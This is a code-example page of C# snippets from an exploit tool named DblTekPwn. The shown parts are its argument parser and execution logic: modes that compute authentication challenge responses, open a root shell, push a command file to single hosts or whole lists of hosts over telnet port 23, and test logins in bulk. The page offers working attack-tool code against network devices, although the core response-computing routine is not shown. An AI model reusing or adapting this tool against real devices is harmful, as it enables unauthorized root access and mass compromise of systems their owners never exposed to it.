예제 #1
0
 static void Main(string[] args)
 {
     DblTekPwnConfig.Execute(new DblTekPwnArgumentParser().Parse(args));
 }
        public DblTekPwnConfig Parse(string[] args)
        {
            if (args.Length <= 0)
            {
                displayHelp();
            }

            this.args = args;

            var config = new DblTekPwnConfig();

            for (position = 0; position < args.Length; position++)
            {
                switch (args[position].ToLower())
                {
                case "-c":
                case "--compute-response":
                    config.DblTekPwnMode = DblTekPwnMode.ComputeResponse;
                    config.Challenge     = expectData("[CHALLENGE]");
                    break;

                case "-r":
                case "--root-shell":
                    config.DblTekPwnMode = DblTekPwnMode.Shell;
                    break;

                case "-s":
                case "--send-commands":
                    config.DblTekPwnMode = DblTekPwnMode.SendCommands;
                    config.CommandFile   = expectData("[COMMAND_FILE]");
                    testFile(config.CommandFile);
                    break;

                case "-t":
                case "--test":
                    config.DblTekPwnMode = DblTekPwnMode.TestLogin;
                    break;

                case "-h":
                case "--help":
                    displayHelp();
                    break;

                case "-n":
                case "--name":
                    config.Host = expectData("[IP]");
                    break;

                case "-f":
                case "--file":
                    config.HostFile = expectData("[IP_FILE]");
                    testFile(config.HostFile);
                    break;

                case "-o":
                case "--output":
                    config.OutputFile = expectData("[OUTPUT_FILE]");
                    break;

                default:
                    die("Unknown flag {0}. Run --help for help.", args[position]);
                    break;
                }
            }
            return(config);
        }
예제 #3
0
        public static void Execute(DblTekPwnConfig config)
        {
            if (config.OutputFile == null)
            {
                config.Output = Console.Out;
            }
            else
            {
                config.Output = File.CreateText(config.OutputFile);
            }

            switch (config.DblTekPwnMode)
            {
            case DblTekPwnMode.ComputeResponse:
                if (config.Challenge.StartsWith("N"))
                {
                    config.Challenge = config.Challenge.Substring(1);
                }
                else if (config.Challenge.StartsWith("S"))
                {
                    die("Error! Unsupported challenge mode 'S'");
                }
                config.Output.WriteLine(DblTekPwn.ComputeResponse(Convert.ToInt32(config.Challenge)));
                break;

            case DblTekPwnMode.SendCommands:
                string[] commands = File.ReadAllLines(config.CommandFile);
                if (config.Host != null)
                {
                    new DblTekPwn(config.Host).SendCommands(commands);
                }
                else
                {
                    StreamReader reader = new StreamReader(config.HostFile);
                    while (reader.BaseStream.Position < reader.BaseStream.Length)
                    {
                        string   host  = sanityReadLine(reader);
                        string[] parts = host.Split(':');
                        int      port  = parts.Length > 1 ? Convert.ToInt32(parts[1]) : 23;
                        config.Output.WriteLine(string.Format("{0} {1}", host, new DblTekPwn(parts[0], port).SendCommands(commands)));
                        config.Output.Flush();
                    }
                    reader.Close();
                }
                break;

            case DblTekPwnMode.Shell:
                new DblTekPwn(config.Host).Shell();
                break;

            case DblTekPwnMode.TestLogin:
                if (config.Host != null)
                {
                    config.Output.WriteLine(string.Format("{0} {1}", config.Host, new DblTekPwn(config.Host).TestLogin()));
                }
                else
                {
                    StreamReader reader = new StreamReader(config.HostFile);
                    while (reader.BaseStream.Position < reader.BaseStream.Length)
                    {
                        string   host  = sanityReadLine(reader);
                        string[] parts = host.Split(':');
                        int      port  = parts.Length > 1 ? Convert.ToInt32(parts[1]) : 23;
                        config.Output.WriteLine(string.Format("{0} {1}", host, new DblTekPwn(parts[0], port).TestLogin()));
                        config.Output.Flush();
                    }
                    reader.Close();
                }
                break;
            }
        }